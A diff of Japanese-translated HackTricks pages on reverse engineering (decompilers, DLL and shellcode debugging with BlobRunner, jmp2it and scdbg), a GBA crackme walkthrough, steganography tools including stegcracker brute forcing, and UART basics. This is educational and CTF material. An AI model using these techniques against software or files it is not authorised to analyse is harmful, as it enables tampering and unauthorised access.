* [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、**デコンパイル**を行い、wasm(バイナリ)からwat(クリアテキスト)に変換します。
|
||||
* [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、watからwasmに**コンパイル**します。
|
||||
* [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、**wasm**(バイナリ)から**wat**(クリアテキスト)に**デコンパイル**します。
|
||||
* [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、**wat**から**wasm**に**コンパイル**します。
|
||||
* [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルを試すこともできます。
|
||||
|
||||
ソフトウェア:
|
||||
|
@ -46,7 +38,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイル**(.winmd)、および**実行可能ファイル**(.exe)を含む複数のフォーマットを**デコンパイル**および検査するデコンパイラです。デコンパイルされた後、アセンブリはVisual Studioプロジェクト(.csproj)として保存できます。
|
||||
dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイル**(.winmd)、および**実行可能ファイル**(.exe)を含む**複数のフォーマットをデコンパイルおよび検査**するデコンパイラです。デコンパイルされた後、アセンブリはVisual Studioプロジェクト(.csproj)として保存できます。
|
||||
|
||||
ここでの利点は、失われたソースコードをレガシーアセンブリから復元する必要がある場合、このアクションが時間を節約できることです。さらに、dotPeekはデコンパイルされたコード全体を便利にナビゲートできるため、**Xamarinアルゴリズム分析**に最適なツールの1つです。
|
||||
|
||||
|
@ -54,21 +46,21 @@ dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイ
|
|||
|
||||
包括的なアドインモデルと、ツールを正確なニーズに合わせて拡張するAPIを備えた.NET Reflectorは、時間を節約し、開発を簡素化します。このツールが提供する逆コンパイルサービスの豊富さを見てみましょう:
|
||||
|
||||
* ライブラリやコンポーネントを通じてデータがどのように流れるかを洞察します。
|
||||
* .NET言語やフレームワークの実装と使用についての洞察を提供します。
|
||||
* ライブラリやコンポーネントを通じてデータがどのように流れるかの洞察を提供します。
|
||||
* .NET言語とフレームワークの実装と使用に関する洞察を提供します。
|
||||
* 使用されているAPIや技術からより多くの機能を引き出すために、文書化されていない機能や公開されていない機能を見つけます。
|
||||
* 依存関係や異なるアセンブリを見つけます。
|
||||
* コード、サードパーティコンポーネント、およびライブラリ内のエラーの正確な場所を追跡します。
|
||||
* 作業しているすべての.NETコードのソースをデバッグします。
|
||||
* あなたが扱うすべての.NETコードのソースをデバッグします。
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode):任意のOSで使用できます(VSCodeから直接インストールできます。gitをダウンロードする必要はありません。「**拡張機能**」をクリックし、「**ILSpy**」を検索してください)。\
|
||||
**デコンパイル**、**修正**、および再コンパイルが必要な場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそのアクティブにメンテナンスされているフォークである[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます。(**右クリック -> メソッドを修正**して関数内の何かを変更します)。
|
||||
[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode):任意のOSで使用できます(VSCodeから直接インストールできます。gitをダウンロードする必要はありません。**拡張機能**をクリックし、**ILSpyを検索**します)。\
|
||||
**デコンパイル**、**修正**、および再**コンパイル**が必要な場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそのアクティブにメンテナンスされているフォークである[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます。(**右クリック -> メソッドを修正**して関数内の何かを変更します)。
|
||||
|
||||
### DNSpyロギング
|
||||
|
||||
**DNSpyに情報をファイルにログ記録させる**には、次のスニペットを使用できます:
|
||||
**DNSpyにファイルに情報をログさせる**ために、次のスニペットを使用できます:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
@ -105,65 +97,65 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
|||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
その後、デバッグを開始するには、すべてのオープンファイルを閉じ、**Debug Tab**内で**Attach to Process...**を選択します:
|
||||
Then, in order to start debugging you should close all the opened files and inside the **Debug Tab** select **Attach to Process...**:
|
||||
|
||||
![](<../../.gitbook/assets/image (318).png>)
|
||||
|
||||
次に、**w3wp.exe**を選択して**IISサーバー**にアタッチし、**attach**をクリックします:
|
||||
Then select **w3wp.exe** to attach to the **IIS server** and click **attach**:
|
||||
|
||||
![](<../../.gitbook/assets/image (113).png>)
|
||||
|
||||
プロセスのデバッグを行っているので、実行を停止してすべてのモジュールをロードする時間です。まず、_Debug >> Break All_をクリックし、次に_**Debug >> Windows >> Modules**_をクリックします:
|
||||
Now that we are debugging the process, it's time to stop it and load all the modules. First click on _Debug >> Break All_ and then click on _**Debug >> Windows >> Modules**_:
|
||||
|
||||
![](<../../.gitbook/assets/image (132).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (834).png>)
|
||||
|
||||
**Modules**の任意のモジュールをクリックし、**Open All Modules**を選択します:
|
||||
Click any module on **Modules** and select **Open All Modules**:
|
||||
|
||||
![](<../../.gitbook/assets/image (922).png>)
|
||||
|
||||
**Assembly Explorer**内の任意のモジュールを右クリックし、**Sort Assemblies**をクリックします:
|
||||
Right click any module in **Assembly Explorer** and click **Sort Assemblies**:
|
||||
|
||||
![](<../../.gitbook/assets/image (339).png>)
|
||||
|
||||
## Javaデコンパイラ
|
||||
## Java decompiler
|
||||
|
||||
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
|
||||
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## DLLのデバッグ
|
||||
## Debugging DLLs
|
||||
|
||||
### IDAを使用
|
||||
### Using IDA
|
||||
|
||||
* **rundll32をロード**(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Windbgデバッガ**を選択
|
||||
* "**ライブラリのロード/アンロード時に一時停止**"を選択
|
||||
* **Load rundll32** (64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)
|
||||
* Select **Windbg** debugger
|
||||
* Select "**Suspend on library load/unload**"
|
||||
|
||||
![](<../../.gitbook/assets/image (868).png>)
|
||||
|
||||
* 実行の**パラメータ**を設定し、**DLLのパス**と呼び出したい関数を指定します:
|
||||
* Configure the **parameters** of the execution putting the **path to the DLL** and the function that you want to call:
|
||||
|
||||
![](<../../.gitbook/assets/image (704).png>)
|
||||
|
||||
次に、デバッグを開始すると、**各DLLがロードされると実行が停止**します。その後、rundll32があなたのDLLをロードすると、実行が停止します。
|
||||
Then, when you start debugging **the execution will be stopped when each DLL is loaded**, then, when rundll32 load your DLL the execution will be stopped.
|
||||
|
||||
しかし、ロードされたDLLのコードにどうやってアクセスできますか?この方法では、私はわかりません。
|
||||
But, how can you get to the code of the DLL that was lodaded? Using this method, I don't know how.
|
||||
|
||||
### x64dbg/x32dbgを使用
|
||||
### Using x64dbg/x32dbg
|
||||
|
||||
* **rundll32をロード**(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)
|
||||
* **コマンドラインを変更**(_File --> Change Command Line_)し、DLLのパスと呼び出したい関数を設定します。例えば:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* _Options --> Settings_を変更し、**DLL Entry**を選択します。
|
||||
* その後、**実行を開始**します。デバッガは各DLLのメインで停止し、ある時点で**あなたのDLLのDLLエントリで停止**します。そこから、ブレークポイントを設定したいポイントを検索します。
|
||||
* **Load rundll32** (64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Change the Command Line** ( _File --> Change Command Line_ ) and set the path of the dll and the function that you want to call, for example: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Change _Options --> Settings_ and select "**DLL Entry**".
|
||||
* Then **start the execution**, the debugger will stop at each dll main, at some point you will **stop in the dll Entry of your dll**. From there, just search for the points where you want to put a breakpoint.
|
||||
|
||||
実行が何らかの理由でwin64dbgで停止した場合、**win64dbgウィンドウの上部**で**どのコードを見ているか**を確認できます:
|
||||
Notice that when the execution is stopped by any reason in win64dbg you can see **in which code you are** looking in the **top of the win64dbg window**:
|
||||
|
||||
![](<../../.gitbook/assets/image (842).png>)
|
||||
|
||||
その後、実行が停止したDLLをデバッグすることができます。
|
||||
Then, looking to this ca see when the execution was stopped in the dll you want to debug.
|
||||
|
||||
## GUIアプリ / ビデオゲーム
|
||||
## GUI Apps / Videogames
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php)は、実行中のゲームのメモリ内に重要な値が保存されている場所を見つけて変更するための便利なプログラムです。詳細は以下を参照してください:
|
||||
|
||||
|
@ -179,12 +171,12 @@ iisreset /noforce
|
|||
|
||||
{% embed url="https://github.com/nongiach/arm_now" %}
|
||||
|
||||
## シェルコード
|
||||
## Shellcodes
|
||||
|
||||
### blobrunnerを使用したシェルコードのデバッグ
|
||||
### Debugging a shellcode with blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、**シェルコード**をメモリのスペース内に**割り当て**、シェルコードが割り当てられた**メモリアドレス**を**示し**、実行を**停止**します。\
|
||||
その後、プロセスに**デバッガ**(Idaまたはx64dbg)をアタッチし、**指定されたメモリアドレスにブレークポイントを設定**し、実行を**再開**します。これにより、シェルコードをデバッグできます。
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、**shellcode**をメモリの空間内に**割り当て**、**shellcode**が割り当てられた**メモリアドレス**を**示し**、実行を**停止**します。\
|
||||
次に、プロセスに**デバッガ**(Idaまたはx64dbg)をアタッチし、**指定されたメモリアドレスにブレークポイントを設定**して、実行を**再開**します。これにより、shellcodeをデバッグできます。
|
||||
|
||||
リリースのGitHubページには、コンパイルされたリリースを含むzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Blobrunnerのわずかに修正されたバージョンは、以下のリンクで見つけることができます。コンパイルするには、**Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピー&ペーストしてビルド**します。
|
||||
|
@ -193,19 +185,19 @@ Blobrunnerのわずかに修正されたバージョンは、以下のリンク
|
|||
[blobrunner.md](blobrunner.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### jmp2itを使用したシェルコードのデバッグ
|
||||
### Debugging a shellcode with jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerに非常に似ています。**シェルコード**をメモリのスペース内に**割り当て**、**永続ループ**を開始します。その後、プロセスに**デバッガをアタッチ**し、**再生を開始して2-5秒待ち、停止を押す**と、**永続ループ**内に入ります。永続ループの次の命令にジャンプすると、それがシェルコードへの呼び出しになります。最終的に、シェルコードを実行している自分を見つけることができます。
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerに非常に似ています。**shellcode**をメモリの空間内に**割り当て**、**永続ループ**を開始します。次に、プロセスに**デバッガをアタッチ**し、**再生を開始して2-5秒待ち、停止を押す**と、**永続ループ**内に入ります。永続ループの次の命令にジャンプすると、それはshellcodeへの呼び出しになります。最終的に、shellcodeを実行している自分を見つけることができます。
|
||||
|
||||
![](<../../.gitbook/assets/image (509).png>)
|
||||
|
||||
コンパイルされたバージョンは、[リリースページ](https://github.com/adamkramer/jmp2it/releases/)からダウンロードできます。
|
||||
|
||||
### Cutterを使用したシェルコードのデバッグ
|
||||
### Debugging shellcode using Cutter
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)は、radareのGUIです。Cutterを使用すると、シェルコードをエミュレートし、動的に検査できます。
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)は、radareのGUIです。Cutterを使用すると、shellcodeをエミュレートし、動的に検査できます。
|
||||
|
||||
Cutterは「ファイルを開く」と「シェルコードを開く」を許可します。私の場合、シェルコードをファイルとして開くと正しくデコンパイルされましたが、シェルコードとして開くとそうではありませんでした:
|
||||
Cutterは「ファイルを開く」と「shellcodeを開く」を許可します。私の場合、shellcodeをファイルとして開くと正しくデコンパイルされましたが、shellcodeとして開くとそうではありませんでした:
|
||||
|
||||
![](<../../.gitbook/assets/image (562).png>)
|
||||
|
||||
|
@ -219,10 +211,10 @@ Cutterは「ファイルを開く」と「シェルコードを開く」を許
|
|||
|
||||
![](<../../.gitbook/assets/image (186).png>)
|
||||
|
||||
### シェルコードの難読化解除と実行される関数の取得
|
||||
### Deobfuscating shellcode and getting executed functions
|
||||
|
||||
[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)を試してみるべきです。\
|
||||
それは、シェルコードが使用している**関数**や、シェルコードがメモリ内で**デコード**しているかどうかを教えてくれます。
|
||||
それは、**どの関数**がshellcodeで使用されているか、またshellcodeが**メモリ内で自己デコード**しているかどうかを教えてくれます。
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
@ -255,7 +247,7 @@ apt-get install libz3-dev
|
|||
```
|
||||
And [install keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
もしあなたが**CTFをプレイしているなら、このフラグを見つけるための回避策**は非常に役立つかもしれません: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
**CTFをプレイしている場合、このフラグを見つけるためのこの回避策**は非常に役立つかもしれません: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
## Rust
|
||||
|
||||
|
@ -264,7 +256,7 @@ And [install keystone](https://github.com/keystone-engine/keystone/blob/master/d
|
|||
![](<../../.gitbook/assets/image (1080).png>)
|
||||
|
||||
この場合、バイナリはauthenticatorと呼ばれていたので、これは興味深いメイン関数であることは明らかです。\
|
||||
呼び出されている**関数の名前**を持っているので、**インターネット**でそれらを検索して、**入力**と**出力**について学びます。
|
||||
呼び出されている**関数**の**名前**を持っているので、**インターネット**でそれらを検索して**入力**と**出力**について学びます。
|
||||
|
||||
## **Delphi**
|
||||
|
||||
|
@ -272,21 +264,21 @@ Delphiでコンパイルされたバイナリには、[https://github.com/crypto
|
|||
|
||||
Delphiバイナリをリバースする必要がある場合は、IDAプラグイン[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)を使用することをお勧めします。
|
||||
|
||||
**ATL+f7**を押して(IDAにPythonプラグインをインポート)、Pythonプラグインを選択します。
|
||||
**ATL+f7**を押して(IDAにPythonプラグインをインポート)Pythonプラグインを選択します。
|
||||
|
||||
このプラグインは、バイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後、再度スタートボタン(緑のボタンまたはf9)を押すと、実際のコードの最初でブレークポイントがヒットします。
|
||||
|
||||
また、グラフィックアプリケーションでボタンを押すと、デバッガーはそのボタンによって実行される関数で停止するため、非常に興味深いです。
|
||||
また、グラフィックアプリケーションでボタンを押すと、デバッガーはそのボタンによって実行された関数で停止するため、非常に興味深いです。
|
||||
|
||||
## Golang
|
||||
|
||||
Golangバイナリをリバースする必要がある場合は、IDAプラグイン[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)を使用することをお勧めします。
|
||||
|
||||
**ATL+f7**を押して(IDAにPythonプラグインをインポート)、Pythonプラグインを選択します。
|
||||
**ATL+f7**を押して(IDAにPythonプラグインをインポート)Pythonプラグインを選択します。
|
||||
|
||||
これにより、関数の名前が解決されます。
|
||||
|
||||
## Compiled Python
|
||||
## コンパイルされたPython
|
||||
|
||||
このページでは、ELF/EXE PythonコンパイルバイナリからPythonコードを取得する方法を見つけることができます:
|
||||
|
||||
|
@ -294,20 +286,20 @@ Golangバイナリをリバースする必要がある場合は、IDAプラグ
|
|||
[.pyc.md](../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## GBA - Game Body Advance
|
||||
## GBA - ゲームボディアドバンス
|
||||
|
||||
GBAゲームの**バイナリ**を取得した場合、さまざまなツールを使用して**エミュレート**および**デバッグ**できます:
|
||||
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_デバッグ版をダウンロード_) - インターフェースを持つデバッガーを含む
|
||||
* [**mgba** ](https://mgba.io)- CLIデバッガーを含む
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_デバッグ版をダウンロード_) - インターフェース付きのデバッガーを含む
|
||||
* [**mgba** ](https://mgba.io) - CLIデバッガーを含む
|
||||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン
|
||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン
|
||||
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm)の_**Options --> Emulation Setup --> Controls**_\*\* \*\*では、Game Boy Advanceの**ボタン**を押す方法を確認できます。
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm)の_**オプション --> エミュレーション設定 --> コントロール**_\*\* \*\*では、ゲームボーイアドバンスの**ボタン**を押す方法を確認できます。
|
||||
|
||||
![](<../../.gitbook/assets/image (581).png>)
|
||||
|
||||
押されると、各**キーには識別するための値**があります:
|
||||
押すと、各**キーには識別するための値**があります:
|
||||
```
|
||||
A = 1
|
||||
B = 2
|
||||
|
@ -392,10 +384,10 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
* 最初に、**値4**(**SELECT**ボタン)と比較されています:このチャレンジでは、このボタンは画面をクリアします。
|
||||
* 次に、**値8**(**START**ボタン)と比較されています:このチャレンジでは、コードがフラグを取得するのに有効かどうかを確認します。
|
||||
* この場合、変数**`DAT_030000d8`**は0xf3と比較され、値が同じであればいくつかのコードが実行されます。
|
||||
* その他のケースでは、いくつかのカウント(`DAT_030000d4`)がチェックされます。これは、コードに入った直後に1を加算するため、カウントです。\
|
||||
**8未満**の場合、**`DAT_030000d8`**に値を**加算**することが行われます(基本的に、カウントが8未満である限り、この変数に押されたキーの値を加算しています)。
|
||||
* その他のケースでは、いくつかのcont(`DAT_030000d4`)がチェックされます。これは、コードに入った直後に1を加算するため、contです。\
|
||||
**8未満の場合、**\*\*`DAT_030000d8` \*\*に値を**加算する**ことが行われます(基本的に、contが8未満である限り、この変数に押されたキーの値を加算しています)。
|
||||
|
||||
したがって、このチャレンジでは、ボタンの値を知っている必要があり、**合計が0xf3になるような長さ8未満の組み合わせを押す必要があります。**
|
||||
したがって、このチャレンジでは、ボタンの値を知っている必要があり、**結果の合計が0xf3になるように、長さが8未満の組み合わせを**押す必要があります。
|
||||
|
||||
**このチュートリアルの参考文献:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
|
@ -408,15 +400,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(バイナリの難読化解除)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **ファイルからのデータ抽出**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
埋め込まれた隠しファイルやデータを探すためのバイナリファイル用ツールです。`apt`を介してインストールされ、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手可能です。
|
||||
埋め込まれた隠しファイルやデータを探すためのバイナリファイル検索ツールです。`apt`を介してインストールされ、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手可能です。
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
@ -93,16 +85,16 @@ cmp original.jpg stego.jpg -b -l
|
|||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghideによるデータ隠蔽**
|
||||
### **データ隠蔽のためのSteghide**
|
||||
|
||||
Steghideは、`JPEG, BMP, WAV, and AU`ファイル内にデータを隠すことを容易にし、暗号化されたデータの埋め込みと抽出が可能です。インストールは`apt`を使用して簡単に行え、[ソースコードはGitHubで入手可能です](https://github.com/StefanoDeVuono/steghide)。
|
||||
Steghideは、`JPEG, BMP, WAV, AU`ファイル内にデータを隠すことを容易にし、暗号化されたデータの埋め込みと抽出が可能です。インストールは`apt`を使用して簡単に行え、[ソースコードはGitHubで入手可能です](https://github.com/StefanoDeVuono/steghide)。
|
||||
|
||||
**コマンド:**
|
||||
|
||||
* `steghide info file`は、ファイルに隠されたデータが含まれているかどうかを明らかにします。
|
||||
* `steghide extract -sf file [--passphrase password]`は、隠されたデータを抽出します。パスワードはオプションです。
|
||||
|
||||
ウェブベースの抽出については、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。
|
||||
ウェブベースの抽出には、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。
|
||||
|
||||
**Stegcrackerによるブルートフォース攻撃:**
|
||||
|
||||
|
@ -135,7 +127,7 @@ zstegはPNGおよびBMPファイル内の隠れたデータを発見すること
|
|||
|
||||
### **Stegpy for Audio and Image Files**
|
||||
|
||||
Stegpyは、PNG、BMP、GIF、WebP、WAVなどのフォーマットをサポートし、画像および音声ファイルに情報を埋め込むことを可能にします。これは[GitHub](https://github.com/dhsdshdhk/stegpy)で入手可能です。
|
||||
Stegpyは画像および音声ファイルに情報を埋め込むことを可能にし、PNG、BMP、GIF、WebP、WAVなどのフォーマットをサポートしています。これは[GitHub](https://github.com/dhsdshdhk/stegpy)で入手可能です。
|
||||
|
||||
### **Pngcheck for PNG File Analysis**
|
||||
|
||||
|
@ -160,11 +152,11 @@ pngcheck stego.png
|
|||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的ツールです。詳細な手順は[stego tricks documentation](stego-tricks.md#steghide)に記載されています。
|
||||
Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的ツールです。詳細な指示は[stego tricks documentation](stego-tricks.md#steghide)に記載されています。
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
このツールは、PNG、BMP、GIF、WebP、およびWAVを含むさまざまなフォーマットに対応しています。詳細については[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。
|
||||
このツールは、PNG、BMP、GIF、WebP、およびWAVを含むさまざまなフォーマットに対応しています。詳細については、[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
|
@ -212,22 +204,16 @@ math.sqrt(2500) #50
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
UARTはシリアルプロトコルであり、コンポーネント間でデータを1ビットずつ転送します。対照的に、パラレル通信プロトコルは複数のチャネルを通じてデータを同時に送信します。一般的なシリアルプロトコルには、RS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express、USBがあります。
|
||||
UARTはシリアルプロトコルであり、コンポーネント間でデータを1ビットずつ転送します。対照的に、並列通信プロトコルは複数のチャネルを通じてデータを同時に送信します。一般的なシリアルプロトコルには、RS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express、およびUSBがあります。
|
||||
|
||||
